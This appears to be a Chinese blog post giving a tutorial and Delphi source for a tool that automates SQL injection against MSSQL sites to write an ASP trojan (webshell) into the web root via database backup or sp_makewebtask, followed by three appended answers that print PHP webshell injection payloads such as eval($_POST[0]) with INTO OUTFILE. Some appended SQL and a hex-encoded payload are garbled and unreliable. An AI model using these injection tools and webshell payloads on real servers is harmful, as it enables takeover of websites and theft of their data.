SQL注入得到WEBSHELL

一.通过SQL注入得到WEBSHELL的原理:
N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。
分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有<%%>之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释<%%> 之内的语句呢?如果数据库中有的表中有<%%>标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。
再来看看CZY的方法吧。
CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。
以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。
二.利用DELPHI去实现功能的前言
原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。

三.如何利用DELPHI得到WEBSHELL。
程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。
首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图:



现在来写程序了。
我们首先定义一个RECORD。
如下:
Type
SetOption = Record
TableName : String; //用来保存要创建的表名.
FieldName : String; //用来保存要创建的字段名.
FiledType : String; //用来保存创建的字段名类型.
End;
FiledType字段类型的值是以下类型的一种:
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值.
再定义一个全局变量:
Var
ISStop : Boolean; //用来判断用户是否按下了停止按纽.
好了。在表单创建的过程中,我们为RECORD记录输入默认值.
代码如下:
procedure TMainForm.FormCreate(Sender: TObject);
begin
sOption.TableName :='cyfd'
sOption.FieldName :='gmemo'
sOption.FiledType :='text'
end;
现在我们添加开始执行命令的代码。
先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用.
在程序开始执行前,我们得先检查一下用户的输入
定义一个Checkinput函数.
如下:
Function CheckInput : Boolean;
Begin
Result := False;
if Trim(urlet.Text) = '' then
Begin
Application.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation);
Exit;
End;
if Trim(ShellPathET.Text) = '' then
Begin
Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation);
Exit;
End;
IF DefBDoor.Checked then
Begin
if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then
Begin
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation);
Exit;
End;
End
Else
if Not FileExists(CustomBdoorET.Text) then
Begin
Application.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation);
Exit;
End;
Result := True;
End;
在最开始加入:
IF Not CheckInput then Exit; //如果输入不合法就退出过程.
好了,如果用户输入没什么错,我们就来下面的代码。
首先我们把IsStop设为假。创建BdoorList。
BDoorList := TstringList.Create;
再加木马内容到BDoorlist.
BDoorList.LoadFromFile(CustomBdoorET.text);
好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。
代码如下:
BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]);
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]);
接下来.我们就提交建表的功能了.
Memo.Lines.Add('建表...');
Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
这样我们就创建了一个表。然后.我们向表中加记录:
代码如下:
Memo.Lines.Add('加数据...');
Memo.Lines.Add('');
For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
Begin
IF IsStop then //这里如果点了停止按纽程序将终止任务.
Begin
BDoorList.Free;
Exit;
End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');');
Memo.Lines.Add('Add Line '+Inttostr(i+1));
End;
现在就是导出数据生成木马了.
Memo.Lines.Add('导出数据...');
Memo.Lines.Add('');
IF BKData.Checked then //如果选中采用备份数据就执行下面的命令.
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''')
Else //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');
我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];');
这样我们的任务就完成了。下面来释放变量.
BDoorList.Free;
再来向停止按纽中添加点击事件:
一行代码就行了:IsStop := True;
到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
设置表单中先引用主表单.然后在界面中添加二个EDIT控件:
第一个名称为:TableNameET //保用户输入的存临时表
第二个名称为:FieldNameET //用来保存用户输入的字段名.
再添加一个Combobox //用来保存用户所选的字段类型值.
名称:FieldTypeCombox
OK.界面如下:

代码如下:
定义一个过程,主表单好调用这个设置。
Procedure ShowSet;
Begin
Application.CreateForm(TSetForm,SetForm);
With SetForm do
Begin
TableNameET.Text := sOption.TableName;
FieldNameET.Text := sOption.FieldName;
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType);
End;
SetForm.ShowModal;
SetForm.Free;
End;
在主表单中设置的点击事件中添加上showset过程就行了。
下面就是点击确定的代码了。
IF CheckInput then
Begin
sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD.
sOption.FieldName := Trim(FieldNameET.Text);
sOption.FiledType := FieldTypeCombox.Text;
Close;
End;
这里又有一个CheckInput主要就是检查用户输入的值是不是合法。
代码如下:
Function CheckInput : Boolean;
Begin
Result := False;
IF Trim(TableNameET.Text)='' then
Begin
Application.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation);
Exit;
End;
IF Trim(FieldNameET.Text)='' then
Begin
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation);
Exit;
End;
Result := True;
End;
到这里程序就完了。
### 回答1: SQL注入是一种攻击技术,可以利用应用程序中存在的漏洞,将恶意的SQL代码注入到应用程序中,从而获取应用程序的控制权。如果攻击者成功地注入了SQL代码,他们可以执行任意操作,包括写入WebshellWebshell是一种恶意代码,可以在受攻击的服务器上创建一个远程访问接口,允许攻击者执行任意命令。攻击者可以使用Webshell来窃取敏感数据、破坏系统、或者在服务器上安装其他恶意软件。 要利用SQL注入写入Webshell,攻击者需要找到一个易受攻击的应用程序,并利用应用程序中存在的漏洞注入恶意的SQL代码。一旦注入成功,攻击者可以使用SQL语句来创建一个Webshell文件,并将其写入服务器上的某个目录中。然后,攻击者可以使用Webshell来执行任意命令,包括上传和下载文件、执行系统命令、或者修改文件权限等操作。 为了防止SQL注入攻击,应用程序开发人员应该采取一系列措施,包括使用参数化查询、过滤用户输入、限制数据库用户的权限等。此外,管理员还应该定期检查服务器上的文件和目录,以确保没有Webshell存在。 ### 回答2: 什么是SQL注入SQL注入是一种攻击方式,用于通过对应用程序中的输入进行恶意注入,从而访问或与应用程序中的数据库进行交互。SQL注入通常利用应用程序的输入验证不严格,以及对数据库中的数据进行不安全的查询和处理,从而访问和操纵数据库。 什么是webshellWebshell是一种特殊的程序代码,可以通过Web接口进行访问和控制,可以给攻击者带来权限最高的系统操作权限。 如何通过SQL注入写入webshell? 攻击者通过SQL注入可以执行许多操作,包括获取或修改数据库中的数据,但更加危险的是可以通过写入webshell来获得对目标系统的完全控制。下面是一些通用的示例,介绍如何通过SQL注入外部攻击者写入webshell。 1. 通过UNICODE编码的方式写入webshell 攻击者可以通过在URL字符串中使用UNICODE编码来伪装恶意SQL注入代码,以此来避开Web应用程序的过滤器和安全防护措施。例如,攻击者可以使用以下语句,将webshell写入到一个包含BLOB类型的表中: ' UNION SELECT NULL, CAST(0x3C3F706870206576616C28245F5053545B312D31293B206966202869736572727065723F246F75745B315D290A7B2473797374656D3D2170737465725F6765745F636F6E74656E74735F75726C28293B2024746578743D2473797374656D5B31293B2073656E64286F62636F645B2272657175657374225D2E6"9"6"5"76616C285F504F53545B225F716"5"56"1"225D293B290A3F3E0A0A, NULL-- 此代码将webshell写入到一个表中,并通过使用PHP代码,能使其在服务器上运行。 2. 在注入点创建一个新表,并将webshell写入其中 攻击者可以通过多个SQL注入绕过过滤和检测,创建一个新的表并将webshell写入其中。例如,下面的代码可以被绕过,从而创建一个新的表: ' UNION SELECT NULL, 'CREATE TABLE webshell (id INT, shell text); INSERT INTO webshell(id, shell) VALUES (1,<?php eval($_POST[0]); ?>);' INTO OUTFILE '/var/www/html/new.txt'-- 此代码创建了一个新表“webshell”,其中包含列“id”和“shell”,并将webshell写入到以BLOB类型存储的“shell”列中。 3. 在目标服务器上创建一个外部表,并将webshell写入其中 攻击者还可以通过创建一个外部表,在连接到目标服务器时抓取webshell。例如,攻击者可以构建以下SQL语句以在目标服务器上创建名为“webshell”的外部表: CREATE TABLE webshell (id INT, shell text); INSERT INTO webshell(id, shell) VALUES (1, '<?php eval($_POST[0]); ?>'); 然后,攻击者可以请求一个可以对此表进行操作的URL: ' UNION SELECT NULL,'/var/www/html/?id=(SELECT GROUP_CONCAT(CONCAT(id,0x2C,shell),0x0A) FROM mysql.external_table WHERE table_name="webshell")' INTO OUTFILE '/var/www/html/output.txt'-- 该URL将在服务器上抓取webshell,并将其输出到/var/www/html/output.txt。攻击者现在可以从该位置获取完整的webshell,以便执行任意系统命令。 总结 SQL注入是一种令人不安的攻击方式,可以使黑客绕过应用程序的安全控制,从而访问和操纵系统中的数据。写入webshellSQL注入的最危险的结果之一,它允许黑客完全控制目标系统和数据。要保护Web应用程序免受SQL注入和其他攻击的威胁,建议采取一系列安全措施,包括在应用程序代码中实施更强大的输入验证和防御措施,利用Web应用程序防火墙和安全扫描器,以及升级和更新应用程序及其相关软件以减少漏洞和缺陷的风险。 ### 回答3: SQL注入是一种攻击技术,攻击者利用这种技术可以将恶意负载注入到应用程序的数据库中,包括写入webshell,从而获取系统控制权和敏感数据。SQL注入攻击是因为应用程序没有正确的验证用户输入数据而造成的。 SQL注入攻击者通过在应用程序的输入字段中输入特殊字符或语句,从而执行恶意SQL语句来覆盖或篡改应用程序的数据库。攻击者可以利用这个漏洞来写入webshell,从而获取远程访问到受害者的系统。 webshell是一种恶意软件,攻击者可以在受害者的主机上进行远程控制。攻击者可以利用webshell来窃取敏感信息、执行命令、上传或下载文件等操作。 攻击者通常会在注入恶意负载后,通过脚本或工具上传或执行webshell。一旦攻击者成功地写入webshell,他就可以通过浏览器或其他工具来远程控制受害者的系统。 为了防止SQL注入攻击,应用程序必须实施有效的数据验证和过滤,从而限制用户输入的字符和语句。此外,安装和更新防病毒和防火墙软件也是非常重要的。其他防御措施还包括使用安全套接字层(SSL)来加密数据传输,使用预编译语句来包含应用程序的数据查询,以及限制数据库用户的访问权限。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值